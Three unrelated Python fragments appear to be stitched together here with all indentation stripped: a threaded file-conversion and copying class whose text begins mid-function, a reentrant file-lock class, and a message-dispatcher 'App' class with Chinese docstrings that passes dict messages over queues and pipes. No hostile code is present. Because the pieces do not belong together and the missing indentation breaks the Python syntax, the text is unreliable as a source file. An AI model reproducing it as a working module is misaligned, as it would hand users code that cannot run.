#print ('"'+srcFileStr+'"\n -> "'+dstFileStr+'"')
except Exception as e:
logging.error('An exception occured: '+str(e))
self.__mutex.acquire()
future = self.__executer.submit(createWorker, self.__verbose, self.__metadataonly, self.__converter, self.__evInterrupted, srcFile, dstFile)
self.__futures.append(future)
future.add_done_callback(self.finished)
self.__mutex.release()
def copyFile(self, srcFile, dstDir):
':type file: Path'
':type dst: Path'
dstFile = dstDir.joinpath(srcFile.parts[-1])
skipFile = False
if dstFile.exists():
if dstFile.is_symlink() or not os.access(dstFile.as_posix(), os.W_OK):
skipFile = True # Skip all symlinks and destination files which are not writable
elif self.__overwrite:
skipFile = False # Overwrite file as requested!
elif self.__overwriteIfSrcNewer:
# Check whether or not the last modification of the source file has been later than the last modification of the destination file
# Update if newer
if srcFile.stat().st_mtime < dstFile.lstat().st_mtime:
skipFile = True
else:
skipFile = False
else:
skipFile = True # In all other cases: it's better to skip this file
elif self.__metadataonly:
skipFile = True
# Do the work!
if not skipFile:
try:
srcFileStr = (str(srcFile)).encode(sys.stdout.encoding, errors='replace').decode(sys.stdout.encoding)
dstFileStr = (str(dstFile)).encode(sys.stdout.encoding, errors='replace').decode(sys.stdout.encoding)
shutil.copyfile(srcFileStr, dstFileStr)
except Exception as e:
logging.error('An exception occured: '+str(e))
def handlePathRecursively(self, src, dst):
':type src: Path'
':type dst: Path'
if not src.exists():
raise FileNotFoundError(src)
if src.is_file():
self.handleFiles(src, self.deriveDstFile(src, dst))
elif src.is_dir():
#for file in src.glob('*.'+self.__srcExt):
for p in src.iterdir():
':type p: Path'
if (self.__evInterrupted.is_set()):
break
if p.is_file():
if p.name.endswith('.'+self.__srcExt):
self.handleFiles(p, dst)
else:
for cover_ext in self.__coverExtList:
if p.name.endswith('.'+cover_ext):
self.copyFile(p, dst)
break;
elif self.__recursive and p.is_dir():
dstSubDir = dst.joinpath(p.parts[-1])
': :type dstSubDir: Path'
if not dstSubDir.exists():
dstSubDir.mkdir()
self.handlePathRecursively(p, dstSubDir)
def deriveDstFile(self, src, dst):
':type src: Path'
':type dst: Path'
if dst.is_file():
return dst
if dst.is_dir():
filename = src.name
': :type filename: str'
if filename.endswith('.'+self.__srcExt):
#filename.replace(self.__srcExt, self.__dstExt, -1)
i = filename.rfind('.'+self.__srcExt)
if i==-1:
filename = filename+self.__dstExt
else:
filename = filename[0:i]+"."+self.__dstExt
return dst.joinpath(filename)
raise Exception("Error: Destination file '"+str(dst)+"' is neither a file nor an (existing) directory")
def run(self):
try:
if self.__src.exists() and not self.__dst.exists():
self.__dst.mkdir(parents=True)
logging.info("Analyzing specified files/directories...")
self.handlePathRecursively(self.__src, self.__dst)
finished=False
while not finished:
finished=True
self.__mutex.acquire()
for f in self.__futures:
if not (f.done() or f.cancelled()):
finished=False
self.__mutex.release()
try:
time.sleep(0.1)
except InterruptedError:
pass
logging.info("Conversion finished")
except FileNotFoundError as e:
logging.error('Source file or directory not found: "'+str(e)+'"')
def runTest(self):
try:
# self.__mutex.acquire()
for i in range(6):
ev = Event()
self.__mutex.acquire()
future = self.__executer.submit(createWorker, i, ev)
self.__futures.append(future)
self.__futureEvents[future] = ev
future.add_done_callback(self.finished)
self.__mutex.release()
try:
time.sleep(2)
except InterruptedError:
pass
if (self.__evInterrupted.is_set()):
break
#wait(self.__futures, timeout=None, return_when=ALL_COMPLETED)
finished=0
while not finished:
finished=1
# print ("waiting: Acquire lock")
self.__mutex.acquire()
for f in self.__futures:
if not (f.done() or f.cancelled()):
finished=0
# print ("waiting: Release lock")
self.__mutex.release()
# while not(all((f.done() or f.cancelled()) for f in self.__futures)):
# pass
logging.info("All tasks are finished")
except KeyboardInterrupt:
pass
def interrupt(self):
logging.info("Sending CTRL-C event to all threads")
self.__executer.shutdown(wait=False)
self.__evInterrupted.set()
def finished(self, future):
self.__mutex.acquire()
self.__futures.remove(future)
self.__mutex.release()
try:
future.result()
except Exception as e:
logging.error("Worker exited with exception: "+str(e))
class RLock(Lock):
"""
A reentrant lock, functions in a similar way to threading.RLock in that it
can be acquired multiple times. When the corresponding number of release()
calls are made the lock will finally release the underlying file lock.
"""
def __init__(self,
filename,
mode='a',
timeout=DEFAULT_TIMEOUT,
check_interval=DEFAULT_CHECK_INTERVAL,
fail_when_locked=False,
flags=LOCK_METHOD):
super(RLock, self).__init__(filename, mode, timeout, check_interval,
fail_when_locked, flags)
self._acquire_count = 0
self._lock = ProcessRLock()
self._pid = os.getpid()
def acquire(self,
timeout=None,
check_interval=None,
fail_when_locked=None):
if self._lock:
# cleanup bad python behaviour when forking while lock is acquired
# see Issue https://github.com/allegroai/clearml-agent/issues/73
# and https://bugs.python.org/issue6721
if self._pid != os.getpid():
# noinspection PyBroadException
try:
if self._lock._semlock._count(): # noqa
# this should never happen unless python forgot calling _after_fork
self._lock._semlock._after_fork() # noqa
except BaseException:
pass
if not self._lock.acquire(block=timeout != 0, timeout=timeout):
# We got a timeout... reraising
raise exceptions.LockException()
# check if we need to recreate the file lock on another subprocess
if self._pid != os.getpid():
self._pid = os.getpid()
self._acquire_count = 0
if self.fh:
# noinspection PyBroadException
try:
portalocker.unlock(self.fh)
self.fh.close()
except Exception:
pass
self.fh = None
if self._acquire_count >= 1:
fh = self.fh
else:
fh = super(RLock, self).acquire(timeout, check_interval,
fail_when_locked)
self._acquire_count += 1
return fh
def release(self):
if self._acquire_count == 0:
raise exceptions.LockException(
"Cannot release more times than acquired")
if self._acquire_count == 1:
super(RLock, self).release()
self._acquire_count -= 1
if self._lock:
self._lock.release()
def __del__(self):
self._lock = None
# try to remove the file when we are done
if not os.path.isfile(self.filename):
return
try:
self.acquire(timeout=0)
try:
os.unlink(self.filename)
removed = True
except Exception:
removed = False
self.release()
if not removed:
try:
os.unlink(self.filename)
except Exception:
pass
except Exception:
pass
class App(object):
"""
这是消息分发的类,对外使用multiprocessing.Pipe
对内默认使用Queue
消息格式是dict
基本的格式如下
{
'msg_src': 'show_box',
'msg_data': {
'msg_id': 'mode_show_box_show_tip',
'module_name': 'show_box'
},
'msg_dst': 'dispatcher',
'msg_id': 'register_msg_id',
'msg_session': 'show_box-to-dispatcher-30d90895-f891-453c-a984-ae28b0151330'
}
通过 is_msg_center 来标志是否是消息中心,负责消息的转发, 内部通信的话,直达,跨进程的通过dispatcher
"""
def __init__(self,
module_name,
is_msg_center=False,
need_start=True,
inner_connection=None):
self.__app_name = module_name
self.__logger = get_logger('app_' + self.__app_name)
self.__need_start = need_start
self.__is_msg_center = is_msg_center
self.__ins = Ins()
self.msg_id_module_dict = self.__ins.msg_id_module_dict
self.msg_id = UMsg()
# print(self.__app_name, ' :', need_start, '##', inner_connection, '###', inner_callback)
if not need_start and inner_connection is not None:
self.__queue = inner_connection
else:
self.__queue = Queue(0)
self.__pipe_dispatcher_rec = None
self.__pipe_dispatcher_send = None
self.__sleep_time = 0.001
self.__lock = None # type: Lock
if self.__is_msg_center:
self.__pipe_dispatcher_rec, self.__pipe_dispatcher_send = Pipe(
False)
self.__ins.add_module_queue(self.__app_name,
self.__pipe_dispatcher_send)
self.__ins.add_module_queue('dispatcher', self.__queue)
if self.__app_name != self.msg_id.out_dispatcher:
self.send_queue_module_manager()
else:
self.__lock = RLock()
else:
self.__sleep_time = 0.01
self.__ins.add_module_queue(self.__app_name, self.__queue)
self.__subscriber_dict = {}
self.__logger.info('init model ' + self.__app_name)
self.__is_shutdown = False
self.__default_callback = None
self.__multi_default_callback = None
# run self
self.__start__()
def add_dispatcher_pipe(self, dispatcher_name, pipe):
"""
进程间使用pipe，线程间使用pysignal
:param dispatcher_name:
:param pipe:
:return:
"""
self.__ins.add_module_queue(dispatcher_name, pipe)
def add_manager_dispatcher_pipe(self, pipe):
"""
添加进程级通讯pipe对应关系,对外发
:param pipe:
:return:
"""
self.__ins.add_module_queue('manager_dispatcher', pipe['pipe'])
self.__lock = pipe['lock']
def get_self_pipe(self):
"""
获取pipe
:return:
"""
if self.__pipe_dispatcher_send is not None:
return self.__pipe_dispatcher_send
else:
return self.__queue
def get_self_lock(self):
"""
获取lock
:return:
"""
return self.__lock
def subscribe_default(self, callback):
"""
默认回调,给dispatcher 模块用
:param callback:
:return:
"""
self.__default_callback = callback
def subscribe_multi_default_callback(self, callback):
"""
这个给进程间dispatcher用
:param callback:
:return:
"""
self.__multi_default_callback = callback
def subscribe_msg(self, msg_id, callback):
"""
订阅回调,主要是内部queue的回调
:param msg_id:
:param callback:
:return:
"""
self.__subscriber_dict[msg_id] = callback
msg_data = {'msg_id': msg_id, 'module_name': self.__app_name}
if self.msg_id.inner_dispatcher is not None and self.msg_id.inner_register_id is not None:
self.send_msg_dispatcher(self.msg_id.inner_register_id, msg_data)
def __del__(self):
"""
释放本模块
:return:
"""
self.stop_message()
def __start__(self):
"""
启动模块通讯监听
:return:
"""
if self.__need_start:
self.process = Thread(target=self.__run__app)
self.process.start()
if self.__pipe_dispatcher_rec is not None:
self.multi_process = Thread(target=self.__run__multi__)
self.multi_process.start()
def __run__multi__(self):
"""
负责进程间的pipe监听
:return:
"""
self.__logger.info(self.__app_name + ' __run__multi__ subscribe')
while not self.__is_shutdown:
data_dict = self.__pipe_dispatcher_rec.recv()
msg_id = data_dict['msg_id']
if (msg_id != self.msg_id.mode_mt_update_button_status
) and (msg_id != self.msg_id.base_frame_info_notify) and (
msg_id != self.msg_id.ui_manager_robot_status_notify) and (
msg_id != self.msg_id.mode_working_position_notify):
self.__logger.info('receive from ' +
str(data_dict['msg_src']) + ' :' +
str(data_dict))
if self.__multi_default_callback is not None:
self.__multi_default_callback(data_dict)
time.sleep(0.0001)
def inner_msg_handler(self, data_dict):
msg_id, msg_data = Util.get_msg_id_data_dict(data_dict)
if msg_id is not None:
callback = self.__subscriber_dict.get(msg_id)
if callback is not None:
callback(data_dict)
else:
if self.__default_callback is not None:
self.__default_callback(data_dict)
def __run__app(self):
"""
负责queue的监听
:return:
"""
self.__logger.info(self.__app_name + ' callback_msg subscribe')
while not self.__is_shutdown:
if not self.__queue.empty():
data_dict = self.__queue.get_nowait()
self.inner_msg_handler(data_dict)
time.sleep(self.__sleep_time)
#
print(self.__app_name + ' quit by user')
self.__logger.info(self.__app_name + ' quit by user')
def stop_message(self):
"""
进程状态切换
:return:
"""
self.__logger.info(self.__app_name + 'stop')
self.__is_shutdown = True
self.__ins.delete_module(self.__app_name)
def make_session(self, msg_dst):
return str(
self.__app_name) + '-to-' + str(msg_dst) + '-' + Util.get_uuid()
def send_msg(self, msg_id, msg_dst, msg_data=None, msg_src=None):
"""send msg to other model"""
send_msg = {
'msg_id': msg_id,
'msg_data': msg_data,
'msg_dst': msg_dst,
'msg_session': self.make_session(msg_dst)
}
if msg_src is None:
send_msg['msg_src'] = self.__app_name
else:
send_msg['msg_src'] = msg_src
send_queue = self.__ins.get_queue_by_module_name(msg_dst)
if send_queue is not None:
if isinstance(send_queue, connection.Connection):
if msg_dst == self.msg_id.out_dispatcher and self.__lock is not None:
self.__lock.acquire()
send_queue.send(send_msg)
if (msg_id != self.msg_id.mode_mt_update_button_status
) and (msg_id != self.msg_id.base_frame_info_notify) and (
msg_id != self.msg_id.ui_manager_robot_status_notify
) and (msg_id != self.msg_id.mode_working_position_notify):
self.__logger.info('send to ' +
str(self.msg_id.out_dispatcher) + ' :' +
str(send_msg))
if msg_dst == self.msg_id.out_dispatcher and self.__lock is not None:
self.__logger.info('get lock : ' + str(self.__lock))
self.__lock.release()
else:
self.send_msg_inner(send_queue, send_msg)
def send_msg_inner(self, send_queue, send_msg):
if isinstance(send_queue, Queue):
send_queue.put_nowait(send_msg)
def send_msg_id_manager_dispatcher(self, msg_id):
msg_data = {'msg_id': msg_id, 'module_name': self.__app_name}
self.send_msg(self.msg_id.manager_register_msg_id,
self.msg_id.out_dispatcher, msg_data)
def send_data_dict_manager_dispatcher(self, data_dict):
send_queue = self.__ins.get_queue_by_module_name(
self.msg_id.out_dispatcher)
if send_queue is not None and isinstance(send_queue,
connection.Connection):
# print('send_queue' + str(send_queue) + 'data:' + str(data_dict))
send_queue.send(data_dict)
def send_queue_module_manager(self):
msg_data = {
'module_name': self.__app_name,
'pipe': self.__pipe_dispatcher_send
}
self.send_msg(self.msg_id.manager_register_pipe,
self.msg_id.out_dispatcher, msg_data)
def send_msg_dispatcher(self, msg_id, msg_data=None):
self.send_msg(msg_id, self.msg_id.inner_dispatcher, msg_data)
def send_msg_out(self, msg_data=None):
self.send_msg(self.msg_id.interface_ros_send_msg_out,
self.msg_id.inner_dispatcher, msg_data)
def show_box(self, index, tip):
msg_data = {'index': index, 'tip': tip}
# print(msg_data)
self.send_msg_dispatcher(self.msg_id.ui_manager_show_box, msg_data)
def mode_dispatcher(self, page_mode):
msg_data = {'page_mode': page_mode}
self.send_msg_dispatcher(self.msg_id.ui_manager_change_page, msg_data)
